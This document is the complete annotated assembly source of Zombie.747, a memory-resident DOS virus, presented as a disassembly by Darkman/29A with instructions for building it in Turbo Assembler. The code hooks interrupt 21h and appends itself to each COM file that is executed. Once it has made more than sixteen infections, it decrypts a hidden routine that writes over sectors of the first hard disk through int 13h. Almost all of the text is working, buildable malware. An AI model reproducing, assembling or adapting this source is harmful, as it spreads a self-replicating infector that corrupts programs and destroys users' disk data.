   Zombie.747
			     Disassembly by
			      Darkman/29A

  Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
  load and execute program, except COMMAND.COM, by appending the virus to the
  infected COM file.

  To compile Zombie.747 with Turbo Assembler v 4.0 type:
    TASM /M ZOMBI747.ASM
    TLINK /t /x ZOMBI747.OBJ
*

.model tiny
.code
 org   100h				 ; Origin of Zombie.747

code_begin:
	     call    crypt_virus

	     nop
	     nop
	     nop
	     nop
	     nop
virus_begin:
	     call    delta_offset
delta_offset:
	     pop     bp 		 ; Load BP from stack
	     sub     bp,03h		 ; BP = delta offset

	     jmp     virus_begin_
stack_end:
stack_	     db      7ah dup(?) 	 ; Stack
stack_begin:
int21_addr   dd      ?			 ; Address of interrupt 21h
virus_seg    dw      ?			 ; Segment of virus
stack_seg    dw      ?			 ; Stack segment
stack_ptr    dw      ?			 ; Stack pointer
infect_off   dw      offset infect_file-offset virus_begin
infect_mark  db      04h dup(?) 	 ; infection mark
infect_count dw      ?			 ; Infection counter
virus_offset equ     word ptr $+01h	 ; Offset of virus
infect_code  db      0e9h,?,?		 ; JMP imm16 (opcode 0e9h)
origin_code  db      0cdh,20h,? 	 ; Original code of infected file
code_begin_  dw      100h		 ; Offset of beginning of code

int21_virus  proc    near		 ; Interrupt 21h of Zombie.747
	     pushf			 ; Save flags at stack
	     cmp     ax,4b00h		 ; Load and execute program?
	     je      load_and_exe	 ; Equal? Jump to load_and_exe

	     cmp     ax,4b69h		 ; Zombie.747 function?
	     je      virus_functi	 ; Equal? Jump to virus_functi
	     popf			 ; Load flags from stack

	     jmp     dword ptr cs:[offset int21_addr-offset virus_begin]
	     endp
virus_functi:
	     mov     bx,ax		 ; Already resident

	     popf			 ; Load flags from stack

	     iret			 ; Interrupt return!
load_and_exe:
	     mov     cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin

	     call    setup_stack

	     popf			 ; Load flags from stack

	     jmp     dword ptr cs:[offset int21_addr-offset virus_begin]

setup_stack  proc    near		 ; Setup stack of the virus
	     mov     cs:[offset stack_seg-offset virus_begin],ss
	     mov     cs:[offset stack_ptr-offset virus_begin],sp

	     mov     ss,cs:[offset virus_seg-offset virus_begin]
	     mov     sp,offset stack_begin-offset virus_begin

	     push    ax bx cx dx es ds si di bp

	     call    cs:[offset infect_off-offset virus_begin]

	     cmp     word ptr cs:[offset infect_count-offset virus_begin],10h
	     jbe     load_stack 	 ; Below or equal? Jump to load_stack

	     call    payload
load_stack:
	     pop     bp di si ds es dx cx bx ax

	     mov     ss,cs:[offset stack_seg-offset virus_begin]
	     mov     sp,cs:[offset stack_ptr-offset virus_begin]

	     ret			 ; Return!
	     endp

payload      proc    near		 ; Payload of the virus
	     mov     si,offset crypt_begin-offset virus_begin
	     mov     cx,(crypt_end-crypt_begin)
decrypt_loop:
	     not     byte ptr [si]	 ; Decrypt a byte

	     inc     si 		 ; Increase index register

	     loop    decrypt_loop
crypt_begin:
	     mov     ax,303h		 ; Write disk sector(s)
	     db      31h,0dbh		 ; XOR BX,BX
	     mov     es,bx		 ; ES:BX = pointer to data buffer
	     mov     cx,02h		 ; CX = sector- and cylinder number
	     mov     dx,80h		 ; DX = drive- and head number
	     int     13h
crypt_end:
	     mov     si,offset crypt_begin-offset virus_begin
	     mov     cx,(crypt_end-crypt_begin)
encrypt_loop:
	     not     byte ptr [si]	 ; Encrypt a byte

	     inc     si 		 ; Increase index register

	     loop    encrypt_loop

	     ret			 ; Return!
	     endp

examine_file proc    near		 ; Examine file
	     cld			 ; Clear direction flag
find_dot:
	     lodsb			 ; AL = byte of filename
	     cmp     al,'.'              ; Found the dot in the filename
	     je      examine_fil_	 ; Equal? Jump to examine_fil_

	     or      al,al		 ; End of filename?
	     loopnz  find_dot		 ; Not zero? Jump to find_dot
	     jz      examine_exit	 ; Zero? Jump to examine_exit
examine_fil_:
	     mov     ax,[si-06h]	 ; AX = word of filename
	     or      ax,2020h		 ; Lowcase word of filename
	     cmp     ax,'mm'             ; COMMAND.COM?
	     je      examine_exit	 ; Equal? Jump to examine_exit

	     lodsw			 ; AX = word of extension
	     or      ax,2020h		 ; Lowcase word of extension
	     cmp     ax,'oc'             ; Correct extension?
	     jne     examine_exit	 ; Not equal? Jump to examine_exit

	     lodsb			 ; AL = byte of extension
	     or      al,20h		 ; Lowcase byte of extension
	     cmp     al,'m'              ; Correct extension?
	     jne     examine_exit	 ; Not equal? Jump to examine_exit

	     clc			 ; Clear carry flag

	     ret			 ; Return!
examine_exit:
	     stc			 ; Set carry flag

	     ret			 ; Return!
	     endp

set_file_pos proc    near		 ; Set current file position
	     xor     cx,cx		 ; Zero CX
	     or      dx,dx		 ; Zero DX?
	     jns     set_file_po_	 ; Positive? Jump to set_file_po_

	     not     cx 		 ; Invert each bit of low-order wor...
set_file_po_:
	     mov     ah,42h		 ; Set current file position
	     int     21h

	     ret			 ; Return!
	     endp

infect_file  proc    near		 ; Infect COM file
	     mov     si,dx		 ; SI = offset of filename
	     call    examine_file
	     jnc     open_file		 ; No error? Jump to open_file

	     jmp     infect_exit_
open_file:
	     mov     ax,3d02h		 ; Open file (read/write)
	     int     21h
	     jnc     read_file		 ; No error? Jump to read_file

	     jmp     infect_exit_
read_file:
	     mov     bx,ax		 ; BX = file handle

	     mov     dx,cs		 ; DX = code segment
	     mov     ds,dx		 ; DS "  "      "

	     mov     ah,3fh		 ; Read from file
	     mov     cx,03h		 ; Read three bytes
	     mov     dx,offset origin_code-offset virus_begin
	     int     21h
	     jnc     examine_mark	 ; No error? Jump to examine_mark

	     jmp     close_file
examine_mark:
	     mov     dx,-28h		 ; DX = low-order word of offset fr...
	     mov     al,02h		 ; Set current file position (EOF)
	     call    set_file_pos
	     jc      close_file 	 ; Error? Jump to close_file

	     nop
	     nop
	     nop

	     mov     ah,3fh		 ; Read from file
	     mov     cx,04h		 ; Read four bytes
	     mov     dx,offset infect_mark-offset virus_begin
	     int     21h
	     jc      close_file 	 ; Error? Jump to close_file

	     nop
	     nop
	     nop

	     cmp     word ptr ds:[offset infect_mark-offset virus_begin],'oZ'
	     jne     calc_offset	 ; Not equal? Jump to calc_offset

	     nop
	     nop
	     nop

	     cmp     word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm'
	     je      close_file 	 ; Previosly infected? Jump to clos...

	     nop
	     nop
	     nop
calc_offset:
	     xor     dx,dx		 ; Zero DX
	     mov     al,02h		 ; Set current file position (EOF)
	     call    set_file_pos
	     jc      close_file 	 ; Error? Jump to close_file

	     nop
	     nop
	     nop

	     sub     ax,03h		 ; AX = offset of virus
	     mov     ds:[offset virus_offset-offset virus_begin],ax

	     mov     ax,5700h		 ; Get file's date and time
	     int     21h
	     push    cx dx		 ; Save registers at stack

	     mov     ah,40h		 ; Write to file
	     mov     cx,(code_end-virus_begin)
	     xor     dx,dx		 ; Zero DX
	     int     21h
	     jc      infect_exit	 ; Error? Jump to infect_exit

	     nop
	     nop
	     nop

	     cmp     cx,ax		 ; Written all of the virus?
	     jne     infect_exit	 ; Not equal? Jump to infect_exit

	     nop
	     nop
	     nop

	     mov     al,00h		 ; Set current file position (SOF)
	     xor     dx,dx		 ; Zero DX
	     call    set_file_pos
	     jc      infect_exit	 ; Error? Jump to infect_exit

	     nop
	     nop
	     nop

	     mov     ah,40h		 ; Write to file
	     mov     cx,03h		 ; Write three bytes
	     mov     dx,offset infect_code-offset virus_begin
	     int     21h
	     jc      infect_exit	 ; Error? Jump to infect_exit

	     nop
	     nop
	     nop
infect_exit:
	     inc     word ptr cs:[offset infect_count-offset virus_begin]

	     mov     ax,5701h		 ; Set file's date and time
	     pop     dx cx		 ; Load registers from stack
	     int     21h
close_file:
	     mov     ah,3eh		 ; Close file
	     int     21h
infect_exit_:
	     ret			 ; Return!
	     endp

get_psp_own  proc    near		 ; Get PSP segment of owner or spec...
	     mov     ah,52h		 ; Get list of lists
	     int     21h
	     mov     bx,es:[bx-02h]	 ; BX = segment of first memory con...

	     mov     es,bx		 ; ES =    "    "    "     "      "
	     mov     bx,es:[01h]	 ; BX = PSP segment of owner or spe...

	     ret			 ; Return!
	     endp

allocate_mem proc    near		 ; Allocate memory
	     push    es 		 ; Save ES at stack

	     mov     ax,cs		 ; AX = segment of PSP for current ...
	     dec     ax 		 ; AX = segment of Memory Control B...
	     mov     es, ax		 ; ES =    "    "    "       "     "

	     mov     bx,es:[03h]	 ; BX = size of memory block in par...
	     pop     es 		 ; Load ES from stack

	     sub     bx,cx		 ; Subtract number of paragraphs to...
	     dec     bx 		 ; BX = new size in paragraphs
	     mov     ah,4ah		 ; Resize memory block
	     int     21h
	     jc      allocat_exit	 ; Error? Jump to allocat_exit

	     nop
	     nop
	     nop

	     mov     ah,48h		 ; Allocate memory
	     mov     bx,cx		 ; BX = number of paragraphs to all...
	     int     21h
	     jc      allocat_exit	 ; Error? Jump to allocat_exit

	     nop
	     nop
	     nop

	     push    ax 		 ; Save AX at stack
	     dec     ax 		 ; AX = segment of Memory Control B...
	     mov     es,ax		 ; ES =    "    "    "       "     "

	     push    es 		 ; Save ES at stack
	     call    get_psp_own
	     pop     es 		 ; Load ES from stack

	     mov     es:[01h],bx	 ; Store PSP segment of owner or sp...
	     pop     es 		 ; Load ES from stack

	     clc			 ; Clear carry flag
allocat_exit:
	     ret			 ; Return!
	     endp
virus_begin_:
	     mov     ax,4b69h		 ; Zombie.747 function
	     xor     bx,bx		 ; Zero BX
	     int     21h
	     cmp     bx,4b69h		 ; Already resident?
	     je      virus_exit 	 ; Equal? Jump to virus_exit

	     nop
	     nop
	     nop

	     mov     cx,(data_end-virus_begin+0fh)/10h
	     call    allocate_mem
	     jc      virus_exit 	 ; Error? Jump to virus_exit

	     nop
	     nop
	     nop

	     mov     si,bp		 ; SI = delta offset
	     xor     di,di		 ; Zero DI
	     mov     cx,(code_end-virus_begin)
	     cld			 ; Clear direction flag
	     rep     movsb		 ; Move virus to top of memory

	     mov     es:[offset virus_seg-offset virus_begin],es

	     push    es 		 ; Save ES at stack
	     mov     ax,3521h		 ; Get interrupt vector 21h
	     int     21h
	     mov     dx,es		 ; DX = segment of interrupt 21h
	     pop     es 		 ; Load ES from stack

	     mov     word ptr es:[offset int21_addr-offset virus_begin],bx
	     mov     word ptr es:[offset int21_addr+02h-offset virus_begin],dx

	     mov     ax,2521h		 ; Set interrupt vector 21h

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     mov     dx,offset int21_virus-offset virus_begin
	     int     21h
virus_exit:
	     mov     ax,cs		 ; AX = segment of PSP for current ...
	     mov     ds,ax		 ; DS =    "    "   "   "     "     "
	     mov     es,ax		 ; ES =    "    "   "   "     "     "

	     lea     si,origin_code	 ; SI = offset of origin_code
	     sub     si,offset virus_begin
	     add     si,bp		 ; Add delta offset to offset of co...

	     mov     di,100h		 ; DI = offset of beginning of code
	     mov     cx,03h		 ; Move three bytes
	     cld			 ; Clear direction flag
	     rep     movsb		 ; Move the original code to beginning

	     lea     bx,code_begin_	 ; BX = offset of code_begin_
	     sub     bx,offset virus_begin
	     add     bx,bp		 ; Add delta offset to offset of co...

	     jmp     [bx]

	     db      'Zombie - Danish woodoo hackers (14AUG91)'
code_end:
data_end:
crypt_virus  proc			 ; Encrypt payload of the virus
	     lea     si,crypt_begin	 ; SI = offset of crypt_begin
	     mov     cx,(crypt_end-crypt_begin)
crypt_loop:
	     not     byte ptr [si]	 ; Encrypt a byte

	     inc     si 		 ; Increase index register

	     loop    crypt_loop

	     ret			 ; Return!
	     endp

end	     code_begin
